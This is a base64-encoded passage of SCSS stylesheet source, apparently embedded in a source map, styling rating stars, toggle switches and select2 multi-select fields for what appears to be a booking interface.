dHRvbTogMDtcblx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcblx0XHRcdEBleHRlbmQgJWZvbnQtaWNvbjtcblx0XHRcdGNvbG9yOiAkY2xfbWFpbjtcblx0XHRcdHRyYW5zaXRpb246IG9wYWNpdHkgMTUwbXMsIGNvbG9yIDE1MG1zO1xuXHRcdH1cblx0XHRpbnB1dCArIGxhYmVsOmFmdGVyIHtcblx0XHRmb250LXdlaWdodDo0MDA7XG5cdFx0Y29udGVudDogXCJcXGYwYzhcIjtcblx0XHR9XG5cdFx0aW5wdXQgKyBsYWJlbDpob3ZlciB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbjtcblx0XHRcdGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG5cdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0Y29sb3I6ICRjbF9tYWluLS13aGl0ZTtcblx0XHRcdH1cblx0XHR9XG5cdFx0aW5wdXQ6Y2hlY2tlZCArIGxhYmVsIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICRjbF9vaztcblx0XHRcdGJvcmRlci1jb2xvcjogJGNsX29rO1xuXHRcdFx0Y29sb3I6ICRjbF9tYWluLS13aGl0ZTtcblx0XHRcdCY6YWZ0ZXIge1xuXHRcdFx0XHRjb250ZW50OiBcIlxcZjE0YVwiO1xuXHRcdFx0XHRjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0fVxuXHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICRjbF9tYWluO1xuXHRcdFx0XHRjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0XHRjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdCovXG4gIH1cblxuICAuc2xuLXJhdGluZyxcbiAgI3Nsbl9ib29raW5nLWRldGFpbHMgLnNsbi1yYXRpbmcge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIG1hcmdpbjogMCBhdXRvO1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgZ2FwOiAwLjVyZW07XG4gICAgcGFkZGluZzogMS4ycmVtIDA7XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6IHNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgICAgICAvL3RyYW5zZm9ybTogc2NhbGUoMS4xNSk7XG4gICAgICAgIC5zbG4tcmF0aW5nX19sYWJlbDo6YWZ0ZXIge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgfVxuICAgICAgICAuc2xuLXJhdGluZ19faW5wdXQ6Y2hlY2tlZDpjaGVja2VkXG4gICAgICAgICAgKyAuc2xuLXJhdGluZ19fbGFiZWxcbiAgICAgICAgICB+IC5zbG4tcmF0aW5nX19sYWJlbDpob3Zlcjo6YWZ0ZXIge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAuc2xuLXJhdGluZ19fbGFiZWwge1xuICAgICAgZGlzcGxheTogaW5saW5lLWZsZXg7XG4gICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICB3aWR0aDogMS41cmVtO1xuICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICBib3JkZXItcmFkaXVzOiA5OTk5cmVtO1xuICAgICAgcGFkZGluZzogMDtcbiAgICAgIG1hcmdpbjogMDtcbiAgICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAmLmhpZGRlbiB7XG4gICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICB9XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwcmVtO1xuICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgcmlnaHQ6IDEwMCU7XG4gICAgICAgIG9wYWNpdHk6IDAuMTtcbiAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgICB9XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgYm9yZGVyOiAycHggc29saWQgY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA5OTk5cmVtO1xuICAgICAgICBjb2xvcjogIzU0NmE3NztcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICAgICB0cmFuc2Zvcm0tb3JpZ2luOiBjZW50ZXIgY2VudGVyO1xuICAgICAgfVxuICAgIH1cbiAgICAuc2xuLXJhdGluZ19fbGFiZWw6aGFzKH4gLnNsbi1yYXRpbmdfX2xhYmVsOmhvdmVyKSB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgfVxuICAgIC8qIG1ha2UgcmF0aW5ncyAqYWZ0ZXIqIHRoZSBjaGVja2VkIHJhZGlvIGdyYXkqL1xuICAgIC5zbG4tcmF0aW5nX19pbnB1dCB7XG4gICAgICAvKmhpZGUgYXdheSB0aGUgYWN0dWFsIHJhZGlvIGlucHV0cyovXG4gICAgICBwb3NpdGlvbjogZml4ZWQ7XG4gICAgICBvcGFjaXR5OiAwO1xuICAgICAgLyp0b3A6IC05MDAwMHB4OyovXG4gICAgICBsZWZ0OiAtOTAwMDBweDtcbiAgICAgICY6Y2hlY2tlZCArIC5zbG4tcmF0aW5nX19sYWJlbCB+IC5zbG4tcmF0aW5nX19sYWJlbCB7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgfVxuICAgICAgJjpjaGVja2VkOmNoZWNrZWQgKyAuc2xuLXJhdGluZ19fbGFiZWwgfiAuc2xuLXJhdGluZ19fbGFiZWw6OmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3Zlcikge1xuICAgICAgICAmOmNoZWNrZWQ6Y2hlY2tlZFxuICAgICAgICAgICsgLnNsbi1yYXRpbmdfX2xhYmVsXG4gICAgICAgICAgfiAuc2xuLXJhdGluZ19fbGFiZWw6aG92ZXI6OmFmdGVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICY6Y2hlY2tlZDpjaGVja2VkICsgLnNsbi1yYXRpbmdfX2xhYmVsIH4gLnNsbi1yYXRpbmdfX2xhYmVsOjpiZWZvcmUge1xuICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgfVxuICAgICAgLy8mLnNsbi1yYXRpbmdfX2lucHV0LTIgKyAuc2xuLXJhdGluZ19fbGFiZWwge1xuICAgICAgLy9cdHRyYW5zZm9ybTogc2NhbGUoMS4wNzUpO1xuICAgICAgLy99XG4gICAgICAvLyYuc2xuLXJhdGluZ19faW5wdXQtMyArIC5zbG4tcmF0aW5nX19sYWJlbCB7XG4gICAgICAvL1x0dHJhbnNmb3JtOiBzY2FsZSgxLjE1KTtcbiAgICAgIC8vXHRtYXJnaW4tbGVmdDogMC4xcmVtO1xuICAgICAgLy99XG4gICAgICAvLyYuc2xuLXJhdGluZ19faW5wdXQtNCArIC5zbG4tcmF0aW5nX19sYWJlbCB7XG4gICAgICAvL1x0dHJhbnNmb3JtOiBzY2FsZSgxLjI1KTtcbiAgICAgIC8vXHRtYXJnaW4tbGVmdDogMC4ycmVtO1xuICAgICAgLy99XG4gICAgICAvLyYuc2xuLXJhdGluZ19faW5wdXQtNSArIC5zbG4tcmF0aW5nX19sYWJlbCB7XG4gICAgICAvL1x0dHJhbnNmb3JtOiBzY2FsZSgxLjMpO1xuICAgICAgLy9cdG1hcmdpbi1sZWZ0OiAwLjNyZW07XG4gICAgICAvL31cbiAgICB9XG4gIH1cblxuICAuc2xuLXN3aXRjaC0tb2xkLXdyYXBwZXIge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBhbGlnbi1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICB9XG4gIC5zbG4tc3dpdGNoLS1vbGQge1xuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbC0tYmlnO1xuICAgIH1cbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW46IDAgMCBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIDA7XG4gICAgaW5wdXQge1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbWFyZ2luLWxlZnQ6IC05OTk5cHg7XG4gICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMzBweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDkwcHgpO1xuICAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDc4cHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzRweCk7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0biB7XG4gICAgICBwYWRkaW5nOiAycHg7XG4gICAgICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMjBweCk7XG4gICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjdjNjVmO1xuICAgICAgYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZCAwLjRzO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBmb250LWZhbWlseTogJ09wZW4gU2FucycsIHNlcmlmO1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0bjpiZWZvcmUsXG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuOmFmdGVyIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDVweCk7XG4gICAgICBsZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDVweCk7XG4gICAgICBib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNXB4KTtcbiAgICAgIGNvbnRlbnQ6ICcnO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG46YmVmb3JlIHtcbiAgICAgIGNvbnRlbnQ6IGF0dHIoZGF0YS1vZmYpO1xuICAgICAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oNTNweCk7XG4gICAgICBib3JkZXItcmFkaXVzOiAxMDAlO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgbWFyZ2luLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1MnB4KTtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuOmFmdGVyIHtcbiAgICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDUzcHgpO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDEwMCU7XG4gICAgICAvL2JveC1zaGFkb3c6IDAgMnB4IDVweCByZ2JhKDAsIDAsIDAsIDAuMyk7XG4gICAgICB0cmFuc2l0aW9uOiBtYXJnaW4gMC40cztcbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4ge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzViYzI0YztcbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG46YmVmb3JlIHtcbiAgICAgIGNvbnRlbnQ6IGF0dHIoZGF0YS1vbik7XG4gICAgICBtYXJnaW4tbGVmdDogMDtcbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG46YWZ0ZXIge1xuICAgICAgbWFyZ2luLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTdweCk7XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0biArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC10ZXh0IHtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIHdpZHRoOiA3MCU7XG4gICAgICBtYXgtd2lkdGg6IDMwMHB4O1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4gKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dDpiZWZvcmUsXG4gICAgaW5wdXQgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLXRleHQ6YWZ0ZXIge1xuICAgICAgY29udGVudDogJyc7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgdG9wOiAwO1xuICAgICAgdHJhbnNpdGlvbjogb3BhY2l0eSAwLjI1cztcbiAgICAgICY6Omxhc3Qtd29yZCB7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgfVxuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4gKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dDpiZWZvcmUge1xuICAgICAgY29udGVudDogYXR0cihkYXRhLW9mZik7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4gKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dDphZnRlciB7XG4gICAgICBjb250ZW50OiBhdHRyKGRhdGEtb24pO1xuICAgICAgb3BhY2l0eTogMDtcbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZFxuICAgICAgKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtYnRuXG4gICAgICArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC10ZXh0OmJlZm9yZSB7XG4gICAgICBvcGFjaXR5OiAwO1xuICAgIH1cbiAgICBpbnB1dDpjaGVja2VkXG4gICAgICArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG5cbiAgICAgICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLXRleHQ6YWZ0ZXIge1xuICAgICAgb3BhY2l0eTogMTtcbiAgICB9XG4gICAgLy9pbnB1dDpjaGVja2VkICsgbGFiZWwuc2xuLXN3aXRjaC0tb2xkLWJ0biArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC10ZXh0IHtcbiAgICAvL31cbiAgICAmLnNsbi1zd2l0Y2gtLW9sZC0tc21hbGxlciB7XG4gICAgICBpbnB1dCArIGxhYmVsLnNsbi1zd2l0Y2gtLW9sZC1idG4gKyBsYWJlbC5zbG4tc3dpdGNoLS1vbGQtdGV4dCB7XG4gICAgICAgIHdpZHRoOiA2MCU7XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgLnNsbi1zZWxlY3Qge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAmOm5vdCguc2xuLXNlbGVjdC0tbXVsdGlwbGUpIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dDtcbiAgICB9XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsO1xuICAgIH1cbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW4tYm90dG9tOiAyLjVyZW07XG4gICAgJi5zbG4tc2VsZWN0LS1pbmZvLWxhYmVsIHtcbiAgICAgIC5zbG4tbGFiZWwtLWJpZyB7XG4gICAgICAgIGxhYmVsIHtcbiAgICAgICAgICBAZXh0ZW5kICVzbG4taW5wdXQtbGFiZWwtLWJpZztcbiAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgIGhlaWdodDogMy4zM3JlbTtcbiAgICAgICAgICBkaXNwbGF5OiB0YWJsZS1jZWxsO1xuICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgICB9XG4gICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tc2VsZWN0LS1tdWx0aXBsZSB7XG4gICAgICBpbnB1dCB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXI6IG5vbmU7XG4gICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgLW1vei1ib3gtc2hhZG93OiBub25lO1xuICAgICAgICBib3gtc2hhZG93OiBub25lO1xuICAgICAgICBAaW5jbHVkZSBhZG1pbl9jb25maWcucGxhY2Vob2xkZXItY29sb3IocmdiYSgyNTUsIDI1NSwgMjU1LCAwKSk7XG4gICAgICAgICY6Zm9jdXMge1xuICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAtbW96LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNlbGVjdDItY29udGFpbmVyLS1zbG4uc2VsZWN0Mi1jb250YWluZXItLWJlbG93IGlucHV0IHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIH1cbiAgICAgIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1iZWxvdy5zZWxlY3QyLWNvbnRhaW5lci0tZm9jdXNcbiAgICAgICAgaW5wdXQge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgfVxuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGlucHV0IHtcbiAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgfVxuICAgICAgICAuc2VsZWN0Mi1jb250YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tYmVsb3cuc2VsZWN0Mi1jb250YWluZXItLWZvY3VzXG4gICAgICAgICAgaW5wdXQge1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICAgIC5zZWxlY3QyLXNlYXJjaF9fZmllbGQge1xuICAgICAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ1cHgpO1xuICAgICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg1MHB4KSAwIHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICAgICAgbWFyZ2luOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSg1cHgpIDA7XG4gICAgICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgJi5zbG4tc2VsZWN0LS1tdWx0aXBsZS0tc2VhcmNoIC5zbG4tc2VsZWN0LS1pbndyYXBwZXIge1xuICAgICAgICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAuc2VsZWN0Mi1jb250YWluZXIge1xuICAgICAgICAgIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3JlbSBzb2xpZCAjZmZmO1xuICAgICAgICAgICAgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG4gICAgICAgICAgICAgIC8vbWFyZ2luLWJvdHRvbTogMy4ycmVtO1xuICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgbWF4LWhlaWdodDogMThyZW07XG4gICAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSB7XG4gICAgICAgICAgICAgIHdpZHRoOiBjYWxjKDEwMCUgLSA0NHB4KTtcbiAgICAgICAgICAgICAgaGVpZ2h0OiAzcmVtO1xuICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICAgIHRvcDogMTAwJTtcbiAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7XG4gICAgICAgICAgICAgIC8vcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg5cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgIC5zZWxlY3QyLXNlYXJjaC0taW5saW5lIHtcbiAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYigyNDEsIDI0NywgMjUxKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIHdpZHRoOiA0NHB4O1xuICAgICAgICAgICAgaGVpZ2h0OiAzcmVtO1xuICAgICAgICAgICAgdG9wOiAxMDAlO1xuICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmO1xuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgIH1cbiAgICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICAgJjpob3ZlcixcbiAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiKDI0MSwgMjQ3LCAyNTEpO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDI3N2JkO1xuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1vcGVuXG4gICAgICAgICAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYigyNDEsIDI0NywgMjUxKTtcbiAgICAgICAgICAgIGNvbG9yOiAjMDI3N2JkO1xuICAgICAgICAgIH1cbiAgICAgICAgICAuc2VsZWN0Mi1zZWFyY2gtLWlubGluZSB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5zZWxlY3QyLXNlYXJjaC0taW5saW5lIHtcbiAgICAgICAgICAuc2VsZWN0Mi1zZWFyY2hfX2ZpZWxkIHtcbiAgICAgICAgICAgIG1pbi13aWR0aDogMTAwJTtcbiAgICAgICAgICAgIG1hcmdpbjogMDtcbiAgICAgICAgICAgIGhlaWdodDogM3JlbTtcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgICAgICB0cmFuc2l0aW9uOiBjb2xvciAxNTBtcztcbiAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJi5oYXNfbm